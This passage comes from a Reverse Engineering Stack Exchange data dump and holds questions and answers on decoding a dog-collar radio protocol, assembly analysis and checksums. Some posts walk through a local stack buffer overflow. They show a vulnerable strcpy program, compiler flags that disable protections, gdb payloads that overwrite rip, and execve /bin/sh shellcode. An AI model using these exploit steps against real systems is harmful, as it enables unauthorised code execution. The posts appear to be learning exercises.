figure out the device ID and the stim type (I think). I can replay the packets on a separate 433Mhz transmitter and the collar responds appropriately but I want to figure out the whole packet. The amount of stim is what I need helping decoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Logic for beep&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/08buD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/08buD.png&quot; alt=&quot;Image for beep (no duration is encoded by design)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decoded this as &lt;code&gt;0xDF 7E DE ED 7F D6 AB&lt;/code&gt;&#xA;If this is wrong, then please let me know because it may give me a clue as to why I can't figure out the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Logic for zap&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aBYSv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aBYSv.png&quot; alt=&quot;Image for zap (unknown duration)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decoded this as &lt;code&gt;0x‭DF DE DE ED 6F 7A AA C0‬&lt;/code&gt;. The last bits to finish up the last octet are assumed to be logic 0's. Maybe this assumption is wrong though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decoded the other packets similarly but I won't post all the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have since gotten captures of vibrates and zaps where I know the duration is 0.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Light: &lt;code&gt;0xDE FE DE ED 7F D5 AB&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Beep: &lt;code&gt;0xDF 7E DE ED 7F D6 AB&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zap: &lt;code&gt;0x‭DF DE DE ED 7F EA AB‬&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Vibrate &lt;code&gt;0x‭DF BE DE ED 7F DA AB&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the packets except the Light start out with &lt;code&gt;0XDF&lt;/code&gt;. The next position (7, F, D, or B) seems to determine stim type. The next 5 are always&lt;code&gt;0xE DE ED&lt;/code&gt; so that seems to determine the device ID. All the characters after that are encoding the duration of the zap or buzz and then something to do with a checksum of some sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I got for the buzz stim in sequential order. After recording each one, I incremented by one and then sent the command again:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x‭DF BE DE ED&lt;/code&gt; &lt;strong&gt;&lt;code&gt;7F AD 55 80&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x‭DF BE DE ED&lt;/code&gt; &lt;strong&gt;&lt;code&gt;7F 6D 55 80&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x‭DF BE DE ED&lt;/code&gt; &lt;strong&gt;&lt;code&gt;7F 56 AA C0&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x‭DF BE DE ED&lt;/code&gt; &lt;strong&gt;&lt;code&gt;7E ED 55 80&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x‭DF BE DE ED&lt;/code&gt; &lt;strong&gt;&lt;code&gt;7E D6 AA C0&lt;/code&gt;&lt;/strong&gt;&#xA;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An interesting thing I found is that one of the following patterns are always present but I can't figure out the significance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x__ _B 55 60&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x__ _D 55 80&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x__ _6 AA C0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x__ _5 AA B0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: Another interesting thing to note is that there is never 2 consecutive zeros. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I haven't made a huge mistake from the beginning (this is my first attempt at reverse engineering something), does anyone see an obvious encoding scheme or checksum that is being used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal is to code up a new 433MHz transmitter and make it controllable with a yet to be made mobile app.&lt;/p&gt;&#xA;" OwnerUserId="26054" LastEditorUserId="26054" LastEditDate="2018-10-24T03:09:19.433" LastActivityDate="2018-10-26T05:15:27.157" Title="Need help to reverse engineer a dog collar transmitter" Tags="|encodings|binary-diagnosis|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="19672" PostTypeId="1" CreationDate="2018-10-20T13:04:43.537" Score="1" ViewCount="407" Body="&lt;p&gt;IDA Pro currently runs with IDAPython 1.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update the IDAPython version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will IDA Pro also run with later versions of IDAPython?&lt;/p&gt;&#xA;" OwnerUserId="21430" LastActivityDate="2018-11-19T20:01:00.143" Title="How can I update IDAPython for IDA Pro?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19673" PostTypeId="1" CreationDate="2018-10-20T18:24:14.127" Score="1" ViewCount="91" Body="&lt;p&gt;Below code is from the IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code before the parsing function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movzx   eax, byte ptr [rbp+nineth_char+3]&#xA;movsx   eax, al&#xA;mov     edi, eax&#xA;call    sub_898&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the code of the parsing function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbp&#xA;mov     rbp, rsp&#xA;mov     eax, edi&#xA;mov     [rbp+var_14], al&#xA;movsx   eax, [rbp+var_14]&#xA;mov     [rbp+var_1], al&#xA;mov     [rbp+var_2], 250&#xA;movzx   edx, [rbp+var_1]&#xA;movzx   eax, [rbp+var_2]&#xA;add     eax, edx&#xA;nop&#xA;pop     rbp&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The argument of this function is the ascii value of the nineth char from the argument of the binary file. This value is added to the value from [rbp+var_2] which is 250. And this function returns the result of the adding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code after the parsing function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     edx, eax&#xA;movzx   eax, [rbp+var_35] ; 101&#xA;cmp     dl, al&#xA;jz      short loc_F6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result is compared with 101 value and when ZF flag is set the processor will jump to the next label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The equation is: ascii_value_of_char + 250 = 101, but the ascii value of character can't be a negative number. So is my understanding of this code is good or not? If not, could you tell me what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="26055" LastActivityDate="2018-10-20T21:02:28.480" Title="Reversing characters from argument of the program" Tags="|disassembly|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19674" PostTypeId="2" ParentId="19672" CreationDate="2018-10-20T19:43:42.793" Score="3" Body="&lt;p&gt;IDAPython is &lt;a href=&quot;https://github.com/idapython/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;open sourced&lt;/a&gt;. Using the IDA SDK you got with your IDA installation you can build IDAPython from source. You'll have to use the correct SDK, obviously.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-20T19:43:42.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19675" PostTypeId="2" ParentId="19673" CreationDate="2018-10-20T21:02:28.480" Score="1" Body="&lt;p&gt;As far as I understand it compares only one byte of the result (sizes of the compared &lt;strong&gt;al&lt;/strong&gt; and &lt;strong&gt;dl&lt;/strong&gt; parts of the corresponding registers are 8 bits). This makes your equation a bit different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(ascii_value_of_char + 250) &amp;amp; 0xff = 101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is definitely solvable, and the ascii value of char in this case is 'k'. You can see the difference between rax, eax, dh and dl for example &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-20T21:02:28.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19676" PostTypeId="2" ParentId="19660" CreationDate="2018-10-20T22:23:29.700" Score="4" Body="&lt;p&gt;To get your own image base in 32-bit code, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, fs:[30h]&#xA;mov eax, [eax+8]&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you can obviously obfuscate in multiple ways, such as by moving fs: into ds: temporarily, calculating &quot;30h&quot; and &quot;8&quot; by multiplying, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;64-bit code is gs:[60h] and +10h instead.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-10-20T22:23:29.700" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19677" PostTypeId="2" ParentId="19615" CreationDate="2018-10-20T22:32:52.640" Score="1" Body="&lt;p&gt;You are correct that you can't pass your shellcode to execv(), but that's not the idea.  What you require is to change the return address from the call to foo() to point to critical(), so that execv() receives the path &quot;/bin/sh&quot; as the parameter.  Normally, your shellcode would be the contents of critical() itself, and the return address would point to the buffer that holds the critical() function.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-10-20T22:32:52.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19678" PostTypeId="2" ParentId="19667" CreationDate="2018-10-21T04:47:32.807" Score="1" Body="&lt;p&gt;According to the given code here, I don't think its possible to recover the third dimension.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_array$ = 8 &#xA;_x$ = 12    &#xA;_y$ = 16    &#xA;_z$ = 20    &#xA;_f  PROC&#xA;    mov eax, DWORD PTR _x$[esp-4]&#xA;    mov edx, DWORD PTR _y$[esp-4]&#xA;    mov ecx, eax&#xA;    shl ecx, 4   ; ecx = x*16&#xA;    sub ecx, eax ; ecx = x*16 - x&#xA;    lea eax, DWORD PTR [edx+ecx*4] ; eax = y+(15*x)*4&#xA;    mov ecx, DWORD PTR _array$[esp-4]&#xA;    lea eax, DWORD PTR [eax+eax*4] ; eax = (y+(15*x)*4)*5&#xA;    shl eax, 4                     ; eax = (y+(15*x)*4)*5*16&#xA;    add eax, DWORD PTR _z$[esp-4]  ; eax = z+80*(y+(15*x)*4)&#xA;    mov eax, DWORD PTR [ecx+eax*4] ; return array+4*(z+80*(y+(15*x)*4))&#xA;    ret 0&#xA;_f  ENDP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Final expressions are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array+4*(z+80*(y+(15*x)*4))&#xA;array + 4*z + 320*y + 19200*x&#xA;array + 80*60*4*x + 80*4*y + 4*z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In z you have 80 elements of size 4, in y you have 60 z elements. Thats all the information we can get from here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried writing and compiling a similar function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int arr[50][60][80];&#xA;&#xA;int f(int a[50][60][80], int x, int y, int z) { return a[x][y][z]; }&#xA;&#xA;int main(int argc, char **argv) {&#xA;    f(arr, 5, 5, 5);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiling with &lt;code&gt;gcc -no-pie -fno-pic -m32 x.c -o x&lt;/code&gt; and then analyzing with r2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 x                              &#xA; -- Change the registers of the child process in this way: 'dr eax=0x333'&#xA;[0x080482e0]&amp;gt; aaa&#xA;...&#xA;[0x080482e0]&amp;gt; s sym.f&#xA;[0x080483f6]&amp;gt; afvn arr arg_8h &#xA;[0x080483f6]&amp;gt; afvn x arg_ch &#xA;[0x080483f6]&amp;gt; afvn y arg_10h &#xA;[0x080483f6]&amp;gt; afvn z arg_14h &#xA;[0x080483f6]&amp;gt; pdf&#xA;┌ (fcn) sym.f 41&#xA;│   sym.f (int arr, int x, int y, int z);&#xA;│           ; arg int arr @ ebp+0x8&#xA;│           ; arg int x @ ebp+0xc&#xA;│           ; arg int y @ ebp+0x10&#xA;│           ; arg int z @ ebp+0x14&#xA;│           ; CALL XREF from sym.main (0x804842d)&#xA;│           0x080483f6      55             push ebp&#xA;│           0x080483f7      89e5           mov ebp, esp&#xA;│           0x080483f9      8b450c         mov eax, dword [x]          ; [0xc:4]=-1 ; 12&#xA;│           0x080483fc      69d0004b0000   imul edx, eax, 0x4b00&#xA;│           0x08048402      8b4508         mov eax, dword [arr]        ; [0x8:4]=-1 ; 8&#xA;│           0x08048405      8d0c02         lea ecx, [edx + eax]&#xA;│           0x08048408      8b5510         mov edx, dword [y]          ; [0x10:4]=-1 ; 16&#xA;│           0x0804840b      89d0           mov eax, edx&#xA;│           0x0804840d      c1e002         shl eax, 2&#xA;│           0x08048410      01d0           add eax, edx&#xA;│           0x08048412      c1e004         shl eax, 4&#xA;│           0x08048415      8b5514         mov edx, dword [z]          ; [0x14:4]=-1 ; 20&#xA;│           0x08048418      01d0           add eax, edx&#xA;│           0x0804841a      8b0481         mov eax, dword [ecx + eax*4]&#xA;│           0x0804841d      5d             pop ebp&#xA;└           0x0804841e      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here 0x4b00 = 80*60*4. There's no information on the upper bound of x as is the case with simple 1-d arrays. SO you can't recover any more information from your snippet.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-10-21T04:47:32.807" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19682" PostTypeId="1" AcceptedAnswerId="19683" CreationDate="2018-10-21T18:32:27.497" Score="5" ViewCount="7764" Body="&lt;p&gt;I am trying to get a buffer overflow exploit to work on Ubuntu 16.04 LTS 64bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this end I use the following vulnerable program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;&#xA;    char buffer[256];&#xA;    strcpy(buffer, argv[1]);&#xA;    printf(&quot;%s\n&quot;, buffer);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I deactivate ALSR (temporarily set &lt;code&gt;/proc/sys/kernel/randomize_va_space&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;) and compile my code with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc vuln.c -o vuln -z execstack -fno-stack-protector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I manage to overwrite &lt;code&gt;rip&lt;/code&gt; with 6 &lt;code&gt;B&lt;/code&gt;'s using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ run $(python -c 'print &quot;A&quot;*264 + &quot;B&quot;*6')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get the following result in gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSI: 0x602010 ('A' &amp;lt;repeats 200 times&amp;gt;...)&#xA;RDI: 0x1 &#xA;RBP: 0x4141414141414141 ('AAAAAAAA')&#xA;RSP: 0x7fffffffd9d0 --&amp;gt; 0x0 &#xA;RIP: 0x424242424242 ('BBBBBB')&#xA;Stopped reason: SIGSEGV&#xA;0x0000424242424242 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes perfect sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to overwrite &lt;code&gt;rip&lt;/code&gt; with the beginning of my buffer of &quot;&lt;code&gt;A&lt;/code&gt;&quot;'s so I can later place my shellcode at the beginning of the buffer (preceeded by some noop's):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, knowing, how many &lt;code&gt;A&lt;/code&gt;'s I wrote in the buffer I have a look at &lt;code&gt;rsp&lt;/code&gt; minus an offset (I am just playing with the offset until I get a line starting with &lt;code&gt;A&lt;/code&gt;'s:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ x/20x $rsp-288&#xA;0x7fffffffd8b0: 0x00007fffffffdaa8  0x0000000200000000&#xA;0x7fffffffd8c0: 0x4141414141414141  0x4141414141414141&#xA;0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, from this I am taking, that my buffer starts at &lt;code&gt;0x7fffffffd8c0&lt;/code&gt; on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I'll redirect &lt;code&gt;rip&lt;/code&gt; to &lt;code&gt;0x7fffffffd8c0&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ run $(python -c 'print &quot;A&quot;*264 + &quot;\x7f\xff\xff\xff\xd8\xc0&quot;[::-1]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RBP: 0x4141414141414141 ('AAAAAAAA')&#xA;RSP: 0x7fffffffd9d0 --&amp;gt; 0x0 &#xA;RIP: 0x7fffffffd8c0 ('A' &amp;lt;repeats 200 times&amp;gt;...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I am planning to put shellcode at the beginning of the buffer I just assume, my shellcode will be 10 bytes long and see if this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ run $(python -c 'print &quot;S&quot;*10 + &quot;A&quot;*254 + &quot;\x7f\xff\xff\xff\xd8\xc0&quot;[::-1]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now something I don't understand happens: Despite the fact, that I write exactly the same amount of characters into my buffer, the value of &lt;code&gt;rip&lt;/code&gt; changes, apparently it no longer points to the start of my buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSI: 0x602010 (&quot;SSSSSSSSSS&quot;, 'A' &amp;lt;repeats 190 times&amp;gt;...)&#xA;RDI: 0x1 &#xA;RBP: 0x4141414141414141 ('AAAAAAAA')&#xA;RSP: 0x7fffffffd980 --&amp;gt; 0x0 &#xA;RIP: 0x7fffffffd8ca ('A' &amp;lt;repeats 182 times&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;0x7fffffffd8c0&lt;/code&gt; &lt;code&gt;rip&lt;/code&gt; now contains &lt;code&gt;0x7fffffffd8ca&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is actually still pointing to the beginning of my &lt;code&gt;A&lt;/code&gt;'s instead of the &lt;code&gt;S&lt;/code&gt;'s which I injected in my python command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ x/20 $rip-10&#xA;0x7fffffffd8c0: 0x5353535353535353  0x4141414141415353&#xA;0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously I am just getting started with this stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="26013" LastEditorUserId="53" LastEditDate="2018-10-22T08:38:24.833" LastActivityDate="2018-10-22T10:27:17.940" Title="x86-64 bit Buffer Overflow, help with overwriting %rip" Tags="|buffer-overflow|amd64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19683" PostTypeId="2" ParentId="19682" CreationDate="2018-10-22T10:27:17.940" Score="6" Body="&lt;p&gt;Don't worry, the shellcode is executing properly, just that the debugger &quot;skipped&quot; past the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that &lt;code&gt;rip&lt;/code&gt; is the instruction pointer and whatever code present at the &lt;code&gt;rip&lt;/code&gt; is executed. If the code is invalid however, something will go wrong (for example a SIGSEGV will be raised)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case, a &lt;code&gt;S&lt;/code&gt; (byte &lt;code&gt;\x53&lt;/code&gt;) corresponds to a &lt;code&gt;push rbx&lt;/code&gt; command (which is valid, and push 8 bytes to the stack), while an &lt;code&gt;A&lt;/code&gt; is a &lt;code&gt;rex.B&lt;/code&gt; - basically speaking, it causes a SIGSEGV in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the latter case, ten &lt;code&gt;push rbx&lt;/code&gt; commands get executed. (note the &lt;code&gt;esp&lt;/code&gt; is decreased by &lt;code&gt;0x7fffffffd9d0 - 0x7fffffffd980 = 0x50&lt;/code&gt;, which is 10 times the size of &lt;code&gt;rbx&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do instead: Break at the &lt;code&gt;ret&lt;/code&gt; instruction in the &lt;code&gt;main&lt;/code&gt; function. After the breakpoint is hit, execute 1 more instruction then the &lt;code&gt;rip&lt;/code&gt; should have the desired value.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-10-22T10:27:17.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19684" PostTypeId="1" AcceptedAnswerId="19702" CreationDate="2018-10-22T13:14:55.820" Score="6" ViewCount="1037" Body="&lt;p&gt;Yes, it's one of these!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 199mumble Brother integrated word processor, with a very weird non-PC floppy format. I've built a floppy controller and have successfully read the flux off the disk, decoded &lt;em&gt;both&lt;/em&gt; kinds of GCR, and reassembled the result into a disk image. But I need to be able to check the checksums in the sectors to know whether I've done it right. (Eyeballing it looks good.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each sector is 256 bytes and is followed by three bytes which vary depending on the contents of the sector --- identical sectors produce identical values, so I'm assuming it's a checksum. Interestingly, the all-zero sector produces an all-zero checksum, so I suspect it's not a regular CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 100 different examples but there may be some incorrect results in there (due to misread sectors); the full list is at &lt;a href=&quot;https://pastebin.com/0HZrUVPR&quot; rel=&quot;noreferrer&quot;&gt;https://pastebin.com/0HZrUVPR&lt;/a&gt; but here are a few selected examples, in what's hopefully reveng format so the checksum is in the last three bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005750314120464c4f505059080000000000000000000000000000000000000000616161616161616120202020000000000000000000000000000002000a5d000064656d6f20202020a4ca1a&#xA;414141414141414141410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008b38af&#xA;414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141415a6ea1&#xA;41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141413362ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the last two contain the same data, rotated right a whole number of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm stumped. There are some 24 bit CRCs but they appear to be quite rare. reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to. I've tried some trivial summing methods but the easy ones didn't work and there are too many variations just to guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about figuring this out?&lt;/p&gt;&#xA;" OwnerUserId="26076" LastActivityDate="2018-10-24T05:22:50.320" Title="Reverse-engineering a weird 24-bit possibly not CRC checksum" Tags="|crc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19685" PostTypeId="1" CreationDate="2018-10-22T15:23:33.553" Score="1" ViewCount="824" Body="&lt;p&gt;I am trying to do a simple buffer overflow exploitation by overwriting the instruction pointer %rip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code of vuln.c&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;&#xA;    char buffer[256];&#xA;    strcpy(buffer, argv[1]);&#xA;    printf(&quot;%s\n&quot;, buffer);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I compile with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc vuln.c -o vuln -z execstack -fno-stack-protector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As discussed in the question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19682/x86-64-bit-buffer-overflow-help-with-overwriting-rip&quot;&gt;here&lt;/a&gt; I am confident that I am able to control the instruction pointer by feeding something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ r $(python -c 'print &quot;A&quot;*264 + &quot;\x7f\xff\xff\xff\xd8\xc0&quot;[::-1]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to gdb, as this gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stopped reason: SIGSEGV&#xA;0x00007fffffffd8c0 in ?? ()&#xA;gdb$ x 0x00007fffffffd8c0&#xA;0x7fffffffd8c0: 0x4141414141414141&#xA;gdb$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So apparently I managed to redirect execution flow to a place in memory that I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to execute some shellcode at this position. For that I use a execve shellcode that I compiled on the same system I am trying to exploit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d spawnshell.o&#xA;&#xA;spawnshell.o:     file format elf64-x86-64&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;0000000000000000 &amp;lt;_start&amp;gt;:&#xA;   0:   48 bb 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rbx&#xA;   7:   2f 73 68 &#xA;   a:   48 c1 eb 08             shr    $0x8,%rbx&#xA;   e:   53                      push   %rbx&#xA;   f:   48 89 e7                mov    %rsp,%rdi&#xA;  12:   50                      push   %rax&#xA;  13:   57                      push   %rdi&#xA;  14:   48 89 e6                mov    %rsp,%rsi&#xA;  17:   b0 3b                   mov    $0x3b,%al&#xA;  19:   0f 05                   syscall 